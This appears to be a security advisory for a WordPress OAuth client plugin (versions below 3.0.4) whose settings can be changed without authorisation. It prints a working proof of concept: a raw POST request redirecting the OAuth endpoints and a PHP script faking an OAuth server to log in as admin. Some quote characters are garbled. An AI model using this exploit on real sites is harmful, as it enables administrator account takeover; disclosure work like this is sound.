The plugin does not have authorisation and CSRF when updating its settings, which could allow unauthenticated attackers to update them and change the OAuth endpoints to ones they controls, allowing them to then be authenticated as admin if they know the correct email address
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=oauthconfig&OAuthConfig;_nonce=-&oauthservers;=Custom_OAuth&client;_id=-&client;_secret=-&rquest;_in_body=1&client;_authorization=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fauth%3D1&client;_token_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Ftoken%3D1&client;_userinfo_endpoint=http%3A%2F%2Flocalhost%2Foauth-exploit.php%3Fresource%3D1 With exploit.php controlled by the attacker with /** auth endpoint / if ( isset( $_GET[βauthβ] ) ) { if ( isset( $_GET[βresponse_typeβ] ) ) { if ( βcodeβ == $_GET[βresponse_typeβ] ) { header( 'Location: β . $_GET[βredirect_uriβ] . β/?β . http_build_query( array( βcodeβ => β-β, //can be anything, just donβt be empty ) ) ); exit; } } } /* token endpoint / if ( isset( $_GET[βtokenβ] ) ) { if ( isset( $_POST[βgrant_typeβ] ) ) { echo json_encode( array( βaccess_tokenβ => β-β, //can be anything, just donβt be empty ) ); exit; } } /* resource endpoint */ if ( isset( $_GET[βresourceβ] ) ) { echo json_encode( array( βemailβ => βadmin@localhostβ, βuser_loginβ => β-β, //can be anything, just donβt be empty ) ); exit; }
CPE | Name | Operator | Version |
---|---|---|---|
oauth-client-for-user-authentication | lt | 3.0.4 |